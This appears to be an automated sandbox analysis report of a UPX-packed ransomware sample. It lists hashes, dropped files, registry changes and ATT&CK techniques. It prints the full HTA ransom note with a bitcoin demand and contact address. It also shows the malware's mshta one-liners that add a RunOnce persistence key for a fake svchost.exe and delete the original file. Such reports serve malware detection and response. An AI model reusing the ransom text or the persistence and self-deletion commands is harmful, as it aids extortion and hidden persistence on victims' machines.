ee65e9d7a7bc9d17e894e0b775fc0bbfb35e72c65c3d768e34bfe059d521cc16

Resubmissions

21-01-2024 14:52

240121-r8syqaeac7 10

21-01-2024 14:51

240121-r8k8waeac5 10

01-01-2024 13:55

240101-q776kscacp 10

Analysis

max time kernel
150s
max time network
123s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
21-01-2024 14:51

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

5474e75872eeb1e34cbe407c73409d4c65da7bd6aa9378b356bb3c12f316c506.exe
Size

263KB
MD5

111e7dd338f7a7db306c95e05797747f
SHA1

aff72034cbbc21693425306ad42b1bb182582743
SHA256

5474e75872eeb1e34cbe407c73409d4c65da7bd6aa9378b356bb3c12f316c506
SHA512

215ee93c5faf2af3a55cceed281b56aecb5990baf4ae508f02eb481c7c22081f05b73a2657279205ff5d4edfc63722ea1405a9e8cdf65939021c9f052ffb6fec
SSDEEP

6144:jeHgRe/IfHES0cVZrDjuNywKGOCWVoYkNMbU:jeHgM4HxZG1KGjWVoVO

Score

10^/10

persistence ransomware upx

Malware Config

Extracted

Path

C:\Users\Admin\Favorites\Links\How To Recover Encrypted Files.hta

Ransom Note

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta charset="windows-1251"> <title>HOW TO DECRYPT YOUR FILES</title> <HTA:APPLICATION ICON="mstsc.exe" SINGLEINSTANCE="yes"> <script language="JScript"> window.moveTo(50, 50); window.resizeTo(screen.width - 100, screen.height - 100); </script> <style type="text/css"> body { font: 15px Tahoma, sans-serif; margin: 10px; line-height: 25px; background-color: #C1AB8F; } .bold { font-weight: bold; } .xx { border: 1px dashed #000; background: #E3D5F1; } .mark { background: #D0D0E8; padding: 2px 5px; } .header { font-size: 30px; height: 50px; line-height: 50px; font-weight: bold; border-bottom: 10px solid #D0D0E8; } .info { background: #D0D0E8; border-left: 10px solid #00008B; } .alert { background: #FFE4E4; border-left: 10px solid #FF0000; } .private { border: 1px dashed #000; background: #FFFFEF; } .note { height: auto; padding-bottom: 1px; margin: 15px 0; } .note .title { font-weight: bold; text-indent: 10px; height: 30px; line-height: 30px; padding-top: 10px; } .note .mark { background: #A2A2B5; } .note ul { margin-top: 0; } .note pre { margin-left: 15px; line-height: 13px; font-size: 13px; } </style> </head> <body> <div class="header">Your files are encrypted!</div> <div class="note private"> <div class="title">Your personal ID</div> <pre>0464082779798136411479309542052524174893666661907358417471918683091328270612838147526563650972351865 5805223247251380797941405274100563297737972541913576462136985378979428502964515593623296402131813928 8224763847760413987109110345387071561530524315489866935377406835102644254115613598432178869194766373 3007719736148127729642589559628730370409696189071389660945231364484481069885086942285017209976572250 0313458152022812206193641620466296106040970047886316806229760103319566806388028405259531751280647985 2510667838843252692887510420716149039429130255565783860790313399087445519923830747458571147028009432 747614966929296479</pre> </div> <div class="bold"> <div align="left">All your important data has been encrypted.</div> </div> <div class="bold">To recover data you need decryptor.</div> <div> <h2 align="center">To get the decryptor you should:</h2> <h1 align="left">pay for decrypt:</h1> <div class="note xx"> <div align="left"> <h1>to send 1 bitcoin today (tomorrow 2 bitcoins) to bitcoin the address 1EQiMGLApzDdPYLWoDMyUo27q5ashMXdQ<br> </h1> </div> <div align="left"> <strong>Here are our recommendations:</strong> </div> <div align="left"> <ol> <li><strong>If you have no Bitcoin address register https://blockchain.info/wallet</strong></li> <li><strong>fill up your wallet some of the ways:</strong></li> <li><strong>Btcdirect.eu - Good service for Europe</strong></li> <li><strong>Bittylicious.com - Bitcoins through Visa / MC or through SEPA (��) transfer</strong></li> <li><strong>Localbitcoins.com - Here you can find people who want to sell Bitcoins directly (WU, in cash, SEPA, Paypal u.s.).</strong></li> <li><strong>Cex.io - buy bitcoins with Visa / Mastercard or Wire Transfer.</strong></li> <li><strong>Coincafe.com - Designed for quick and easy service. Payment methods: Western Union, Bank of America, cash by FedEx, Moneygram, as money transfer</strong></li> <li><strong>Bitstamp.net - well known and established Bitcoins seller</strong></li> <li><strong>Coinmama.com - Visa / Mastercard</strong></li> <li><strong>Btc-e.com - Bitcoins vendor (Visa / Mastercard, etc.)</strong></li> <li><strong>If you have not found any bitcoins in your region, try to find them here:</strong></li> <li><strong>Buybitcoinworldwide.com - International Bicoins Exchange Directory</strong></li> <li><strong>Bitcoin-net.com - Another directory of Bitcoins sellers</strong></li> <li><strong>Howtobuybitcoins.info - International Bicoins Exchange Directory</strong></li> <li><strong>Bittybot.co/eu - Directory for countries of the European Union</strong></li> <li><strong>write to Google how to buy Bitcoin in your country?</strong></li> </ol> </div> <div align="left"> <h1>mail support [email protected]<br> </h1> </div> <h1>After the payment: </h1> </div> <div><p>Send screenshot of payment to mail support <span class="mark">[email protected]</span>. In the letter include your personal ID (look at the beginning of this document).</p> </div> <div> <h1 align="center">After you will receive a decryptor and instructions</h1> </div> <div class="note alert"> <div class="title">Attention!</div> <ul><li>No Payment = No decryption</li> <li>You really get the decryptor after payment</li> <li>Do not attempt to remove the program or run the anti-virus tools</li> <li>Attempts to self-decrypting files will result in the loss of your data</li> <li>Decoders other users are not compatible with your data, because each user's unique encryption key</li> </ul> </div> </body> </html>

Emails

[email protected]<br>

class="mark">[email protected]</span>

Signatures

Deletes itself 1 IoCs

pid	Process
2404	mshta.exe

Executes dropped EXE 1 IoCs

pid	Process
2800	svchost.exe

Loads dropped DLL 5 IoCs

pid	Process
2192	5474e75872eeb1e34cbe407c73409d4c65da7bd6aa9378b356bb3c12f316c506.exe
2192	5474e75872eeb1e34cbe407c73409d4c65da7bd6aa9378b356bb3c12f316c506.exe
2524	WerFault.exe
2524	WerFault.exe
2524	WerFault.exe

UPX packed file 8 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral5/memory/2192-0-0x0000000000400000-0x0000000000478000-memory.dmp	upx
behavioral5/files/0x000900000001224e-3.dat	upx
behavioral5/files/0x000900000001224e-8.dat	upx
behavioral5/files/0x000900000001224e-6.dat	upx
behavioral5/memory/2800-12-0x0000000000400000-0x0000000000478000-memory.dmp	upx
behavioral5/memory/2192-5-0x0000000002BB0000-0x0000000002C28000-memory.dmp	upx
behavioral5/memory/2192-10-0x0000000000400000-0x0000000000478000-memory.dmp	upx
behavioral5/memory/2800-750-0x0000000000400000-0x0000000000478000-memory.dmp	upx

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3818056530-936619650-3554021955-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\Scanner = "C:\\Users\\Admin\\AppData\\Roaming\\svchost.exe"	mshta.exe

Drops desktop.ini file(s) 26 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Searches\desktop.ini	svchost.exe
File opened for modification	C:\Users\Public\Libraries\desktop.ini	svchost.exe
File opened for modification	C:\Users\Public\Pictures\desktop.ini	svchost.exe
File opened for modification	C:\Users\Public\Recorded TV\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Music\desktop.ini	svchost.exe
File opened for modification	C:\Users\Public\Desktop\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Contacts\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Favorites\Links\desktop.ini	svchost.exe
File opened for modification	C:\Users\Public\Music\desktop.ini	svchost.exe
File opened for modification	C:\Users\Public\Pictures\Sample Pictures\desktop.ini	svchost.exe
File opened for modification	C:\Users\Public\Videos\Sample Videos\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Saved Games\desktop.ini	svchost.exe
File opened for modification	C:\Users\Public\Videos\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Documents\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Favorites\desktop.ini	svchost.exe
File opened for modification	C:\Users\Public\Music\Sample Music\desktop.ini	svchost.exe
File opened for modification	C:\Users\Public\Recorded TV\Sample Media\desktop.ini	svchost.exe
File opened for modification	C:\Users\Public\Documents\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Downloads\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Favorites\Links for United States\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Links\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Pictures\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Videos\desktop.ini	svchost.exe
File opened for modification	C:\Users\Public\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Desktop\desktop.ini	svchost.exe
File opened for modification	C:\Users\Public\Downloads\desktop.ini	svchost.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2524	2800	WerFault.exe	28

Modifies Internet Explorer settings 1 TTPs 2 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3818056530-936619650-3554021955-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe
Key created	\REGISTRY\USER\S-1-5-21-3818056530-936619650-3554021955-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 2192 wrote to memory of 2800	2192	5474e75872eeb1e34cbe407c73409d4c65da7bd6aa9378b356bb3c12f316c506.exe	28
PID 2192 wrote to memory of 2800	2192	5474e75872eeb1e34cbe407c73409d4c65da7bd6aa9378b356bb3c12f316c506.exe	28
PID 2192 wrote to memory of 2800	2192	5474e75872eeb1e34cbe407c73409d4c65da7bd6aa9378b356bb3c12f316c506.exe	28
PID 2192 wrote to memory of 2800	2192	5474e75872eeb1e34cbe407c73409d4c65da7bd6aa9378b356bb3c12f316c506.exe	28
PID 2192 wrote to memory of 2404	2192	5474e75872eeb1e34cbe407c73409d4c65da7bd6aa9378b356bb3c12f316c506.exe	29
PID 2192 wrote to memory of 2404	2192	5474e75872eeb1e34cbe407c73409d4c65da7bd6aa9378b356bb3c12f316c506.exe	29
PID 2192 wrote to memory of 2404	2192	5474e75872eeb1e34cbe407c73409d4c65da7bd6aa9378b356bb3c12f316c506.exe	29
PID 2192 wrote to memory of 2404	2192	5474e75872eeb1e34cbe407c73409d4c65da7bd6aa9378b356bb3c12f316c506.exe	29
PID 2800 wrote to memory of 2808	2800	svchost.exe	30
PID 2800 wrote to memory of 2808	2800	svchost.exe	30
PID 2800 wrote to memory of 2808	2800	svchost.exe	30
PID 2800 wrote to memory of 2808	2800	svchost.exe	30
PID 2800 wrote to memory of 2524	2800	svchost.exe	32
PID 2800 wrote to memory of 2524	2800	svchost.exe	32
PID 2800 wrote to memory of 2524	2800	svchost.exe	32
PID 2800 wrote to memory of 2524	2800	svchost.exe	32

C:\Users\Admin\AppData\Local\Temp\5474e75872eeb1e34cbe407c73409d4c65da7bd6aa9378b356bb3c12f316c506.exe
"C:\Users\Admin\AppData\Local\Temp\5474e75872eeb1e34cbe407c73409d4c65da7bd6aa9378b356bb3c12f316c506.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2192
- C:\Users\Admin\AppData\Roaming\svchost.exe
  "C:\Users\Admin\AppData\Roaming\svchost.exe"
  2⤵
  - Executes dropped EXE
  - Drops desktop.ini file(s)
  - Suspicious use of WriteProcessMemory
  PID:2800
- - C:\Windows\SysWOW64\mshta.exe
    mshta.exe "javascript:o=new ActiveXObject('WScript.Shell');setInterval(function(){try{o.RegWrite('HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\Scanner','C:\\Users\\Admin\\AppData\\Roaming\\svchost.exe');}catch(e){}},10);"
    3⤵
    - Adds Run key to start application
    - Modifies Internet Explorer settings
    PID:2808
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2800 -s 416
    3⤵
    - Loads dropped DLL
    - Program crash
    PID:2524
- C:\Windows\SysWOW64\mshta.exe
  mshta.exe "javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('C:\\Users\\Admin\\AppData\\Local\\Temp\\5474E7~1.EXE');close()}catch(e){}},10);"
  2⤵
  - Deletes itself
  - Modifies Internet Explorer settings
  PID:2404

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\28gevlkOk5H22orO5Ai1ukZCisiwH14RHt5UkOCLXbA.hnumkhotep@india.com.hnumkhotep

Filesize
53KB

MD5
848436a9149650e5915e4a86f35bdef8

SHA1
45a11caea143479d9dee45360be4c443e186d174

SHA256
854a39d3e940cab4bcc691e423a92ba6543ee77d1a01842d5672bd8d761b9088

SHA512
49eaa983776fb821d0b95977403c21b98cc8accc71651b97b7d0697c044dfaefaec113aa2d8cb9921bb657562498a5e11d281bec600a54891cdc4cf92cabf97f

Download Submit
C:\Users\Admin\AppData\Roaming\svchost.exe

Filesize
186KB

MD5
0f9dede48acd7fa7d3c12c32b4560d76

SHA1
2fb882f2b91fa92249aae0f372ab9398ad5d90dd

SHA256
077abffd71c030a4ba37dddeeea232fe94bf2c311ed304c947eae9d1b8d7452d

SHA512
46e5abc40f08ae6a7cb26070b55670df6b05b43e6fcf7acf1e2be28e9b230f13f1c3fcc8ef310c7cb96a3761c0217e3d60952a1d4d6c5c15ecbd0dbe10dc40a0

Download Submit
C:\Users\Admin\Contacts\KzZ3IFa9Mp1ouxYUiHUto3xtEumlgTrsaEsHmkUew3mON4HVKVGfpeoqj1LzmZKD.hnumkhotep@india.com.hnumkhotep

Filesize
5KB

MD5
eecf5a7cff2b2c242ecdf96a0a70e173

SHA1
3bfde52545f1e7355ff505d806b0068b5b03417e

SHA256
7b4188784b0c103fcf18483ab8dbb5b7b1e40e814694d5dfa50a8428233bb6b9

SHA512
11c808b4005179856df8dc4a8575978e956efdb668fe91755fc9e27de6215fa7c8505620d469d1784fb0f64f3d02dff3754a90671aa5a076bf0ab78260f6cf96

Download Submit
C:\Users\Admin\Favorites\Links\How To Recover Encrypted Files.hta

Filesize
5KB

MD5
7c1dbb2ef68dd2acd18531d12b4c0157

SHA1
2a3b9309ba73b17e7cdabcdea0f020fce14edda4

SHA256
b5993b1d56deedf4db2cab2fe97a1fb44da81a3065429c5c842bf45fb7d0b6b0

SHA512
63d291225225fcb9e2684697465200dae88c374c13611f9fe03ee04edc293e46b2c58817e96e3cc14033c7fa5664d03dc562e2900aeb9e88ebdb25e6a330fa24

Download Submit
\Users\Admin\AppData\Roaming\svchost.exe

Filesize
263KB

MD5
111e7dd338f7a7db306c95e05797747f

SHA1
aff72034cbbc21693425306ad42b1bb182582743

SHA256
5474e75872eeb1e34cbe407c73409d4c65da7bd6aa9378b356bb3c12f316c506

SHA512
215ee93c5faf2af3a55cceed281b56aecb5990baf4ae508f02eb481c7c22081f05b73a2657279205ff5d4edfc63722ea1405a9e8cdf65939021c9f052ffb6fec

Download Submit
\Users\Admin\AppData\Roaming\svchost.exe

Filesize
230KB

MD5
410a766740392b9a38154d70d800102b

SHA1
4bc4ca04ee19abd5db15b349fa5f76d5151ec630

SHA256
7dbbef50639ed424cc2cf9cbf7250082acf9ac1bc96cfbe054ea1c4a0cab9f95

SHA512
9e49dc50ef22df52f7cc36bf8a1d6b8b723c09b705b15eef558ebe9fcc23ba5d5552584ffb2c8bca31c4b22b65b09b89df06f0e3f684aca4d583f7a52ea76cdc

Download Submit
memory/2192-0-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/2192-5-0x0000000002BB0000-0x0000000002C28000-memory.dmp

Filesize
480KB

Download
memory/2192-10-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/2800-12-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/2800-750-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download

Resubmissions

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads